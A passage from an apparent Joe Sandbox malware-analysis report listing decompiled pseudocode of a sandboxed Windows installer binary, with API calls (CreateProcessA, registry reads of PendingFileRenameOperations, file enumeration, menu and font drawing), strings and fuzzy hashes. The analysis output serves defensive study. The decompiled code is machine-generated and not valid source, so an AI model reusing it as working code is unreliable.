					_push(E00450CAD);
					return E00450BA4( &_v16);
				} else {
					_v8 = 0;
					return _v8;
				}
			}

0x00450c2d
0x00450c2f
0x00450c47
0x00450c52
0x00450c53
0x00450c58
0x00450c5b
0x00450c6a
0x00450c72
0x00450c80
0x00450c85
0x00450c8d
0x00450c92
0x00450c95
0x00450c98
0x00450ca5
0x00450c49
0x00450c4b
0x00450cbf
0x00450cbf

APIs

CreateProcessA.KERNEL32(00000000,00000000,?,?,`XE,00000000,HXE,?,?,?,00000000,00450CA6,?,?,?,00000001), ref: 00450C80
GetLastError.KERNEL32(00000000,00000000,?,?,`XE,00000000,HXE,?,?,?,00000000,00450CA6,?,?,?,00000001), ref: 00450C88

Strings

HXE, xrefs: 00450C6A, 00450C6D
`XE, xrefs: 00450C72, 00450C75

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CreateErrorLastProcess
String ID: HXE$`XE
API String ID: 2919029540-2299865289
Opcode ID: 30a7e00ce33f4a267d1dfd7618c55bcfdd523fd8f230bdd31890290b10a113fd
Instruction ID: dfbb5462f4e58795a4f341a3f9e85056f562f708a0d94e90ba33abc4bdaadeb2
Opcode Fuzzy Hash: 30a7e00ce33f4a267d1dfd7618c55bcfdd523fd8f230bdd31890290b10a113fd
Instruction Fuzzy Hash: 6E1139B6A04208AF8B41DFADDC81DDFB7ECEB4D314B51466ABD08D3241D638ED148B68

Uniqueness

Uniqueness Score: -1.00%

Function 00453B24 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41
registryCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00453B24(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _v8;
				void* __ecx;
				void* __ebp;
				void* _t7;
				intOrPtr _t27;
				intOrPtr _t31;
				intOrPtr _t33;

				_t31 = _t33;
				_t7 = E0042DC1C(0, "SYSTEM\\CurrentControlSet\\Control\\Session Manager", 0x80000002,  &_v8, 1, 0); // executed
				if(_t7 != 0) {
					return _t7;
				} else {
					_push(_t31);
					_push(0x453b88);
					_push( *[fs:eax]);
					 *[fs:eax] = _t33;
					E00453A58(_v8, __ebx, "PendingFileRenameOperations", __edi, __esi, _t31); // executed
					E00453A58(_v8, __ebx, "PendingFileRenameOperations2", __edi, __esi, _t31); // executed
					_pop(_t27);
					 *[fs:eax] = _t27;
					_push(0x453b8f);
					return RegCloseKey(_v8);
				}
			}

0x00453b25
0x00453b3c
0x00453b43
0x00453b91
0x00453b45
0x00453b47
0x00453b48
0x00453b4d
0x00453b50
0x00453b5c
0x00453b6b
0x00453b73
0x00453b76
0x00453b79
0x00453b87
0x00453b87

APIs

Part of subcall function 0042DC1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047A343,?,00000001,?,?,0047A343,?,00000001,00000000), ref: 0042DC38

RegCloseKey.ADVAPI32(?,00453B8F,?,00000001,00000000), ref: 00453B82

Strings

SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00453B30
PendingFileRenameOperations2, xrefs: 00453B63
PendingFileRenameOperations, xrefs: 00453B54

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseOpen
String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager
API String ID: 47109696-2115312317
Opcode ID: 1192a58cf2ba05a74e8cd39b2b221491dea6f905a5b87030c13acd5c9c7302df
Instruction ID: bce1a9e823e3a6f00c65457e0056d75a9340da40565ac55ac442632498a450a6
Opcode Fuzzy Hash: 1192a58cf2ba05a74e8cd39b2b221491dea6f905a5b87030c13acd5c9c7302df
Instruction Fuzzy Hash: 4EF0C2317442087BDB05DA66EC06A2AB3DCD744752FA0446BF800C6583DA79BE04922C

Uniqueness

Uniqueness Score: -1.00%

Function 0046B888 Relevance: 6.3, APIs: 4, Instructions: 263
fileCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E0046B888(char __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char _a16, intOrPtr _a20, intOrPtr _a24) {
				void* _v5;
				intOrPtr _v12;
				signed int _v16;
				signed int _v17;
				signed int _v24;
				char _v28;
				signed int _v32;
				char _v36;
				void* _v40;
				intOrPtr _v44;
				char _v48;
				struct _WIN32_FIND_DATAA _v368;
				char _v372;
				char _v376;
				void* _t145;
				signed int _t146;
				intOrPtr _t153;
				intOrPtr _t157;
				signed int _t178;
				int _t181;
				signed char _t201;
				signed char _t202;
				int _t205;
				void* _t219;
				intOrPtr* _t229;
				intOrPtr _t245;
				intOrPtr _t258;
				intOrPtr _t275;
				intOrPtr _t283;
				void* _t294;
				void* _t295;
				intOrPtr _t296;

				_t292 = __esi;
				_t291 = __edi;
				_t294 = _t295;
				_t296 = _t295 + 0xfffffe8c;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v372 = 0;
				_v376 = 0;
				_v24 = 0;
				_v28 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v5 = __eax;
				_push(_t294);
				_push(0x46bc27);
				_push( *[fs:eax]);
				 *[fs:eax] = _t296;
				_push(_v12);
				_push(_v16);
				_push(_a20);
				E0040364C();
				_v17 = 0;
				_t241 =  &_v368;
				_t145 = E00450EA4(_v5,  &_v368, _v24, __eflags); // executed
				_v40 = _t145;
				if(_v40 == 0xffffffff) {
					_t146 = _a12;
					__eflags =  *(_t146 + 0x4c) & 0x00000020;
					if(( *(_t146 + 0x4c) & 0x00000020) == 0) {
						L23:
						__eflags = _v16;
						if(_v16 != 0) {
							_t153 = _a12;
							__eflags =  *(_t153 + 0x4d) & 0x00000002;
							if(( *(_t153 + 0x4d) & 0x00000002) != 0) {
								__eflags = _v17;
								if(_v17 == 0) {
									E004737F0( *((intOrPtr*)(_a12 + 4)), _t241,  &_v36);
									_t157 = _a12;
									__eflags =  *(_t157 + 0x4b) & 0x00000010;
									if(( *(_t157 + 0x4b) & 0x00000010) != 0) {
										E0042C888(_v36, _t241,  &_v372);
										E004035D8( &_v36, _v16, _v372);
									} else {
										E00403594( &_v36, _v16);
									}
									_t245 =  *0x46bc54; // 0x0
									E004695BC(_v5, 0, _t245, _v36, _t291, _t292, __eflags,  *((intOrPtr*)(_a24 + 8)));
									_v17 = 1;
								}
							}
						}
						E00468434();
						__eflags = 0;
						_pop(_t258);
						 *[fs:eax] = _t258;
						_push(0x46bc2e);
						E00403438( &_v376, 2);
						return E00403438( &_v36, 4);
					} else {
						E004034AC( &_v372, _v12);
						E00403594( &_v372, _v16);
						E00403594( &_v372, 0x46bc44);
						_t241 =  &_v368;
						_v40 = E00450EA4(_v5,  &_v368, _v372, __eflags);
						__eflags = _v40 - 0xffffffff;
						if(_v40 == 0xffffffff) {
							goto L23;
						} else {
							__eflags = 0;
							_push(_t294);
							_push(0x46bb7b);
							_push( *[fs:eax]);
							 *[fs:eax] = _t296;
							do {
								_t178 = E004749E4( &_v368);
								__eflags = _t178;
								if(_t178 != 0) {
									E004034AC( &_v372, _v16);
									E00403574( &_v376, 0x104,  &(_v368.cFileName));
									E00403594( &_v372, _v376);
									E00403594( &_v372, 0x46bc50);
									_t201 = E0046B888(_v5, 0, _v372, _v12, _t291, _t292, __eflags, _a4, _a8, _a12, _a16, _a20, _a24) | _v17;
									__eflags = _t201;
									_v17 = _t201;
								}
								_t181 = FindNextFileA(_v40,  &_v368);
								__eflags = _t181;
							} while (_t181 != 0);
							__eflags = 0;
							_pop(_t275);
							 *[fs:eax] = _t275;
							_push(0x46bb82);
							return FindClose(_v40);
						}
					}
				} else {
					_push(_t294);
					_push(0x46ba59);
					_push( *[fs:edx]);
					 *[fs:edx] = _t296;
					do {
						_t202 = _v368.dwFileAttributes;
						if((_t202 & 0x00000010) == 0) {
							if(_a16 == 0) {
								E004034AC( &_v28, _a20);
								L7:
								_v17 = 1;
								_push(_v12);
								_push(_v16);
								_push(_v28);
								E0040364C();
								E004737F0( *((intOrPtr*)(_a12 + 4)), _t241,  &_v36);
								if(( *(_a12 + 0x4b) & 0x00000010) != 0) {
									__eflags = _v16;
									if(_v16 != 0) {
										E0042C888(_v36, _t241,  &_v372);
										_push(_v372);
										_push(_v16);
										E0042C860(_v36, _t241,  &_v376);
										_push(_v376);
										E0040364C();
									}
								} else {
									_push(_v36);
									_push(_v16);
									_push(_v28);
									E0040364C();
								}
								_v44 = _v368.nFileSizeHigh;
								_v48 = _v368.nFileSizeLow;
								_t219 = E00430228( &_v48, _a4);
								_t304 = _t219;
								if(_t219 > 0) {
									_t229 = _a4;
									_v48 =  *_t229;
									_v44 =  *((intOrPtr*)(_t229 + 4));
								}
								E00469F50(_a12, 0, _v32, _v5, _t291, _t292, _t304,  &_v48, _a8, _v36,  *((intOrPtr*)(_a24 + 8))); // executed
								_pop(_t241);
								E00430250(_a4,  &_v48);
							} else {
								if((_t202 & 0x00000002) == 0) {
									_t241 = 0x104;
									E00403574( &_v28, 0x104,  &(_v368.cFileName));
									goto L7;
								}
							}
						}
						_t205 = FindNextFileA(_v40,  &_v368); // executed
					} while (_t205 != 0);
					_pop(_t283);
					 *[fs:eax] = _t283;
					_push(0x46ba60);
					return FindClose(_v40);
				}
			}

0x0046b888
0x0046b888
0x0046b889
0x0046b88b
0x0046b891
0x0046b892
0x0046b893
0x0046b896
0x0046b89c
0x0046b8a2
0x0046b8a5
0x0046b8a8
0x0046b8ab
0x0046b8ae
0x0046b8b1
0x0046b8b4
0x0046b8b9
0x0046b8ba
0x0046b8bf
0x0046b8c2
0x0046b8c5
0x0046b8c8
0x0046b8cb
0x0046b8d6
0x0046b8db
0x0046b8df
0x0046b8eb
0x0046b8f0
0x0046b8f7
0x0046ba60
0x0046ba63
0x0046ba67
0x0046bb82
0x0046bb82
0x0046bb86
0x0046bb88
0x0046bb8b
0x0046bb8f
0x0046bb91
0x0046bb95
0x0046bba0
0x0046bba5
0x0046bba8
0x0046bbac
0x0046bbc4
0x0046bbd5
0x0046bbae
0x0046bbb4
0x0046bbb4
0x0046bbe1
0x0046bbed
0x0046bbf3
0x0046bbf3
0x0046bb95
0x0046bb8f
0x0046bbf7
0x0046bbfc
0x0046bbfe
0x0046bc01
0x0046bc04
0x0046bc14
0x0046bc26
0x0046ba6d
0x0046ba76
0x0046ba84
0x0046ba94
0x0046ba9f
0x0046baad
0x0046bab0
0x0046bab4
0x00000000
0x0046baba
0x0046baba
0x0046babc
0x0046babd
0x0046bac2
0x0046bac5
0x0046bac8
0x0046bace
0x0046bad3
0x0046bad5
0x0046baf8
0x0046bb0e
0x0046bb1f
0x0046bb2f
0x0046bb46
0x0046bb46
0x0046bb49
0x0046bb49
0x0046bb57
0x0046bb5c
0x0046bb5c
0x0046bb64
0x0046bb66
0x0046bb69
0x0046bb6c
0x0046bb7a
0x0046bb7a
0x0046bab4
0x0046b8fd
0x0046b8ff
0x0046b900
0x0046b905
0x0046b908
0x0046b90b
0x0046b90b
0x0046b913
0x0046b91d
0x0046b942
0x0046b947
0x0046b947
0x0046b94b
0x0046b94e
0x0046b951
0x0046b95c
0x0046b96a
0x0046b976
0x0046b990
0x0046b994
0x0046b99f
0x0046b9a4
0x0046b9aa
0x0046b9b6
0x0046b9bb
0x0046b9c9
0x0046b9c9
0x0046b978
0x0046b978
0x0046b97b
0x0046b97e
0x0046b989
0x0046b989
0x0046b9d4
0x0046b9dd
0x0046b9e6
0x0046b9eb
0x0046b9ed
0x0046b9ef
0x0046b9f4
0x0046b9fa
0x0046b9fa
0x0046ba19
0x0046ba1e
0x0046ba25
0x0046b91f
0x0046b921
0x0046b930
0x0046b935
0x00000000
0x0046b935
0x0046b921
0x0046b91d
0x0046ba35
0x0046ba3a
0x0046ba44
0x0046ba47
0x0046ba4a
0x0046ba58
0x0046ba58

APIs

FindNextFileA.KERNEL32(000000FF,?,00000000,0046BA59,?,00000000,?,00000001,00000000,0046BC27,?,00000000,?,00000000,?,0046BDE2), ref: 0046BA35
FindClose.KERNEL32(000000FF,0046BA60,0046BA59,?,00000000,?,00000001,00000000,0046BC27,?,00000000,?,00000000,?,0046BDE2,?), ref: 0046BA53
FindNextFileA.KERNEL32(000000FF,?,00000000,0046BB7B,?,00000000,?,00000001,00000000,0046BC27,?,00000000,?,00000000,?,0046BDE2), ref: 0046BB57
FindClose.KERNEL32(000000FF,0046BB82,0046BB7B,?,00000000,?,00000001,00000000,0046BC27,?,00000000,?,00000000,?,0046BDE2,?), ref: 0046BB75

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: 981c4b361f55c4a329d5d965382863aaecb7907690cd70fd8175092fc9303d71
Instruction ID: d0fcd6aaacf2c77063bdc4ae7e5d3f048473d7fda7acabfe5391ba971e118263
Opcode Fuzzy Hash: 981c4b361f55c4a329d5d965382863aaecb7907690cd70fd8175092fc9303d71
Instruction Fuzzy Hash: 01B12D7490424D9FCF11DFA5C881ADEBBB9FF48304F5081AAE808A3251E738AE46CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00421258 Relevance: 6.1, APIs: 4, Instructions: 127
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00421258(void* __eax, intOrPtr __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t42;
				struct HMENU__* _t51;
				intOrPtr _t58;
				intOrPtr _t60;
				intOrPtr _t62;
				void* _t67;
				void* _t82;
				intOrPtr _t83;
				void* _t85;
				void* _t86;
				void* _t87;
				intOrPtr* _t88;

				_t88 = _t87 + 0xfffffff8;
				_t83 = __edx;
				_t67 = __eax;
				if(__edx == 0) {
					L7:
					_t23 =  *((intOrPtr*)(_t67 + 0x124));
					if( *((intOrPtr*)(_t67 + 0x124)) != 0) {
						E004124B4(_t23, 0);
					}
					 *((intOrPtr*)(_t67 + 0x124)) = _t83;
					if(_t83 != 0) {
						E004102BC(_t83, _t67);
					}
					if(_t83 == 0 || ( *(_t67 + 0x1c) & 0x00000010) == 0 &&  *((char*)(_t67 + 0x111)) == 3) {
						if(E0041835C(_t67) != 0) {
							SetMenu(E004181C4(_t67), 0); // executed
						}
						goto L26;
					} else {
						if( *((char*)( *((intOrPtr*)(_t67 + 0x124)) + 0x34)) != 0 ||  *((char*)(_t67 + 0x116)) == 1) {
							if(( *(_t67 + 0x1c) & 0x00000010) == 0) {
								if( *((char*)(_t67 + 0x116)) != 1 && E0041835C(_t67) != 0) {
									SetMenu(E004181C4(_t67), 0);
								}
								goto L26;
							}
							goto L17;
						} else {
							L17:
							if(E0041835C(_t67) != 0) {
								_t42 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t67 + 0x124)))) + 0x2c))();
								if(_t42 != GetMenu(E004181C4(_t67))) {
									_t51 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t67 + 0x124)))) + 0x2c))();
									SetMenu(E004181C4(_t67), _t51);
								}
								E004124B4(_t83, E004181C4(_t67));
							}
							L26:
							if( *((char*)(_t67 + 0x115)) != 0) {
								E00421E10(_t67, 0xf0c0, 1);
							}
							return E004211A0(_t67);
						}
					}
				}
				_t58 =  *0x48f62c; // 0x22f0660
				_t85 = E004231A0(_t58) - 1;
				if(_t85 >= 0) {
					_t86 = _t85 + 1;
					_t82 = 0;
					do {
						_t60 =  *0x48f62c; // 0x22f0660
						if(_t83 ==  *((intOrPtr*)(E00423194(_t60) + 0x124))) {
							_t62 =  *0x48f62c; // 0x22f0660
							if(_t67 != E00423194(_t62)) {
								 *_t88 =  *((intOrPtr*)(_t83 + 8));
								 *((char*)(_t88 + 4)) = 0xb;
								E00408CC4(_t67, 0xf0c0, 1, _t82, _t83, 0, _t88);
								E00403134();
							}
						}
						_t82 = _t82 + 1;
						_t86 = _t86 - 1;
					} while (_t86 != 0);
				}
			}

0x0042125c
0x0042125f
0x00421261
0x00421265
0x004212c7
0x004212c7
0x004212cf
0x004212d3
0x004212d3
0x004212d8
0x004212e0
0x004212e6
0x004212e6
0x004212ed
0x004213a7
0x004213b3
0x004213b3
0x00000000
0x00421306
0x00421310
0x0042131f
0x00421380
0x00421397
0x00421397
0x00000000
0x00421380
0x00000000
0x00421321
0x00421321
0x0042132a
0x00421338
0x0042134c
0x00421356
0x00421362
0x00421362
0x00421372
0x00421372
0x004213b8
0x004213bf
0x004213c5
0x004213c5
0x004213d7
0x004213d7
0x00421310
0x004212ed
0x00421267
0x00421273
0x00421276
0x00421278
0x00421279
0x0042127b
0x0042127d
0x0042128d
0x00421291
0x0042129d
0x004212a2
0x004212a5
0x004212b9
0x004212be
0x004212be
0x0042129d
0x004212c3
0x004212c4
0x004212c4
0x0042127b

APIs

GetMenu.USER32(00000000), ref: 00421345
SetMenu.USER32(00000000,00000000), ref: 00421362
SetMenu.USER32(00000000,00000000), ref: 00421397
SetMenu.USER32(00000000,00000000), ref: 004213B3

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Menu
String ID:
API String ID: 3711407533-0
Opcode ID: 3ad1be53728b58936f085d074cd65e1d8723a7dcb2e5c6fed8892d9603565c38
Instruction ID: 36b1be801ec9eb7d4fdbe3c02f2f63d01ab37a0b401d8d3754119f9f7163b302
Opcode Fuzzy Hash: 3ad1be53728b58936f085d074cd65e1d8723a7dcb2e5c6fed8892d9603565c38
Instruction Fuzzy Hash: 3941937070425456E720AA3A998579A26D54F65308F4806BFFC40DF3A7CA7DCC45839C

Uniqueness

Uniqueness Score: -1.00%

Function 0044A638 Relevance: 6.1, APIs: 4, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0044A638(struct HDC__* __eax, void* __ebx, void* __edi, void* __esi) {
				struct HDC__* _v8;
				void* _v12;
				struct HDC__* _v16;
				struct tagRECT _v32;
				struct HDC__* _t49;
				signed int _t57;
				int _t61;
				struct HDC__* _t67;
				intOrPtr _t75;
				intOrPtr _t79;
				void* _t83;
				void* _t84;
				intOrPtr _t85;
				intOrPtr _t89;

				_t81 = __esi;
				_t80 = __edi;
				_t68 = __ebx;
				_t83 = _t84;
				_t85 = _t84 + 0xffffffe4;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = 0;
				_v8 = __eax;
				_push(_t83);
				_push(0x44a77b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t85;
				if(( *(_v8 + 0x1c) & 0x00000002) != 0 ||  *((char*)(_v8 + 0xfc)) == 0) {
					__eflags = 0;
					_pop(_t75);
					 *[fs:eax] = _t75;
					_push(E0044A782);
					return E00403418( &_v12);
				} else {
					_t71 =  *((intOrPtr*)(_v8 + 0x2c));
					E0040AC1C(0,  *((intOrPtr*)(_v8 + 0x2c)), 0,  &_v32, 0);
					if(_v32.right > 0) {
						_t13 =  &(_v32.right);
						 *_t13 = _v32.right - 1;
						_t89 =  *_t13;
					}
					E00414ACC(_v8,  &_v12, _t89);
					if(_v12 == 0) {
						L8:
						_t49 = E00403594( &_v12, 0x44a794);
					} else {
						_t49 = _v8;
						if( *((char*)(_t49 + 0x104)) != 0) {
							_t49 = _v12;
							if( *_t49 == 0x26) {
								_t49 = _v12;
								if(_t49->i == 0) {
									goto L8;
								}
							}
						}
					}
					_push(0);
					L00405F1C();
					_v16 = _t49;
					_push(_t83);
					_push(0x44a740);
					_push( *[fs:eax]);
					 *[fs:eax] = _t85;
					SelectObject(_v16, E0041A1CC( *((intOrPtr*)(_v8 + 0x44)), _t68, _t71, _t80, _t81));
					_t57 = E0044A614(_v8);
					_t61 = E0040358C(_v12);
					DrawTextA(_v16, E00403750(_v12), _t61,  &_v32, _t57 | 0x00000400); // executed
					_pop(_t79);
					 *[fs:eax] = _t79;
					_push(E0044A747);
					_t67 = _v16;
					_push(_t67);
					_push(0);
					L00406104();
					return _t67;
				}
			}

0x0044a638
0x0044a638
0x0044a638
0x0044a639
0x0044a63b
0x0044a63e
0x0044a63f
0x0044a640
0x0044a643
0x0044a646
0x0044a64b
0x0044a64c
0x0044a651
0x0044a654
0x0044a65e
0x0044a765
0x0044a767
0x0044a76a
0x0044a76d
0x0044a77a
0x0044a674
0x0044a67d
0x0044a684
0x0044a68d
0x0044a68f
0x0044a68f
0x0044a68f
0x0044a68f
0x0044a698
0x0044a6a1
0x0044a6c0
0x0044a6c8
0x0044a6a3
0x0044a6a3
0x0044a6ad
0x0044a6af
0x0044a6b5
0x0044a6b7
0x0044a6be
0x00000000
0x00000000
0x0044a6be
0x0044a6b5
0x0044a6ad
0x0044a6cd
0x0044a6cf
0x0044a6d4
0x0044a6d9
0x0044a6da
0x0044a6df
0x0044a6e2
0x0044a6f5
0x0044a6fd
0x0044a70f
0x0044a722
0x0044a729
0x0044a72c
0x0044a72f
0x0044a734
0x0044a737
0x0044a738
0x0044a73a
0x0044a73f
0x0044a73f

APIs

73AFAC50.USER32(00000000,?,00000000,00000000,0044A77B,?,?,?,?), ref: 0044A6CF
SelectObject.GDI32(?,00000000), ref: 0044A6F5
DrawTextA.USER32(?,00000000,00000000,?,00000000), ref: 0044A722
73AFB380.USER32(00000000,?,0044A747,0044A740,?,00000000,?,00000000,00000000,0044A77B,?,?,?,?), ref: 0044A73A

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: B380DrawObjectSelectText
String ID:
API String ID: 1652335368-0
Opcode ID: be3cd1260347904c130877d66720c049173b0b52d51fb9e1a17d3c376dd8c1c1
Instruction ID: 3894435ba948b31cd5e399413915a635a74ec1d9715de1c669c4c197628414c6
Opcode Fuzzy Hash: be3cd1260347904c130877d66720c049173b0b52d51fb9e1a17d3c376dd8c1c1
Instruction Fuzzy Hash: 10316F70A44208BFEB11EFA5C845F9EBBF8EB48304F5584A6F404E7291D7389E50CB29

Uniqueness

Uniqueness Score: -1.00%

Function 00416B26 Relevance: 6.1, APIs: 4, Instructions: 67
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00416B26(void* __eax, int* __edx) {
				void* _t21;
				long _t23;
				long _t37;
				long _t42;
				int _t47;
				struct HWND__* _t50;

				_t49 = __edx;
				_t43 = __eax;
				_t50 =  *(__eax + 0xc0);
				if(_t50 == 0) {
					return E00415300(__eax, __edx);
				}
				_t47 =  *__edx;
				_t21 = _t47 + 0xfffffece - 7;
				if(_t21 < 0) {
					_t23 = SendMessageA(__edx[2], _t47 + 0xbc00, __edx[1], __edx[2]);
					 *(_t49 + 0xc) = _t23;
					return _t23;
				}
				if(_t21 + 0xffff4407 - 7 < 0) {
					SetTextColor(__edx[1], E0041A03C( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x44)) + 0x10))));
					SetBkColor(__edx[1], E0041A03C(E0041A688( *((intOrPtr*)(_t43 + 0xbc)))));
					_t37 = E0041A6C4( *((intOrPtr*)(_t43 + 0xbc)));
					 *(_t49 + 0xc) = _t37;
					return _t37;
				}
				_t42 = CallWindowProcA( *(__eax + 0xac), _t50,  *__edx, __edx[1], __edx[2]); // executed
				 *(_t49 + 0xc) = _t42;
				return _t42;
			}

0x00416b2c
0x00416b2e
0x00416b30
0x00416b38
0x00000000
0x00416bd2
0x00416b3e
0x00416b47
0x00416b4a
0x00416b68
0x00416b6d
0x00000000
0x00416b6d
0x00416b54
0x00416b82
0x00416b9c
0x00416ba7
0x00416bac
0x00000000
0x00416bac
0x00416bc4
0x00416bc9
0x00000000

APIs

SendMessageA.USER32(?,?,?,?), ref: 00416B68
SetTextColor.GDI32(?,00000000), ref: 00416B82
SetBkColor.GDI32(?,00000000), ref: 00416B9C
CallWindowProcA.USER32 ref: 00416BC4

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Color$CallMessageProcSendTextWindow
String ID:
API String ID: 601730667-0
Opcode ID: 296af9f2060c546ec682cee1885cf8095fe0270590feed89bffcff2dfecec796
Instruction ID: bac7134ed5a65be849589c285d7f2b427d424e3f48de90f8df9f5f0117a70e24
Opcode Fuzzy Hash: 296af9f2060c546ec682cee1885cf8095fe0270590feed89bffcff2dfecec796
Instruction Fuzzy Hash: 3D115EB1200614AFD720EE6ECD84D9777ECEF48304715883AB59ACB612C638F8408B29

Uniqueness

Uniqueness Score: -1.00%

Function 004230AC Relevance: 6.1, APIs: 4, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E004230AC(char __edx) {
				char _v5;
				void* __ecx;
				void* __ebp;
				void* _t8;
				struct HDC__* _t18;
				int _t20;
				void* _t22;
				void* _t23;
				char _t24;
				struct HDC__* _t29;
				void* _t30;
				void* _t31;

				_t24 = __edx;
				if(__edx != 0) {
					_t31 = _t31 + 0xfffffff0;
					_t8 = E00402D48(_t8, _t30);
				}
				_v5 = _t24;
				_t22 = _t8;
				E00410204(_t23, 0);
				E00423220(_t22);
				 *(_t22 + 0x20) = E00402B48(1);
				 *((intOrPtr*)(_t22 + 0x2c)) = E00402B48(1);
				_t18 = E00402B48(1);
				 *(_t22 + 0x30) = _t18;
				_push(0);
				L00405F1C();
				_t29 = _t18;
				_t5 = _t22 + 0x20; // 0x410634
				_t20 = EnumFontsA(_t29, 0, E0042304C,  *_t5); // executed
				_push(0x5a);
				_push(_t29);
				L00405C4C();
				 *(_t22 + 0x24) = _t20;
				_push(_t29);
				_push(0);
				L00406104();
				if(_v5 != 0) {
					_pop( *[fs:0x0]);
				}
				return _t22;
			}

0x004230ac
0x004230b4
0x004230b6
0x004230b9
0x004230b9
0x004230be
0x004230c1
0x004230c7
0x004230ce
0x004230df
0x004230ee
0x004230f8
0x004230fd
0x00423100
0x00423102
0x00423107
0x00423109
0x00423115
0x0042311a
0x0042311c
0x0042311d
0x00423122
0x00423125
0x00423126
0x00423128
0x00423131
0x00423133
0x0042313a
0x00423143

APIs

73AFAC50.USER32(00000000,?,?,00000000,?,00418FB7,00000000,?,?,00000001,00000000), ref: 00423102
EnumFontsA.GDI32(00000000,00000000,0042304C,00410634,00000000,?,?,00000000,?,00418FB7,00000000,?,?,00000001,00000000), ref: 00423115
73AFAD70.GDI32(00000000,0000005A,00000000,00000000,0042304C,00410634,00000000,?,?,00000000,?,00418FB7,00000000,?,?,00000001), ref: 0042311D
73AFB380.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,0042304C,00410634,00000000,?,?,00000000,?,00418FB7,00000000), ref: 00423128

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: B380EnumFonts
String ID:
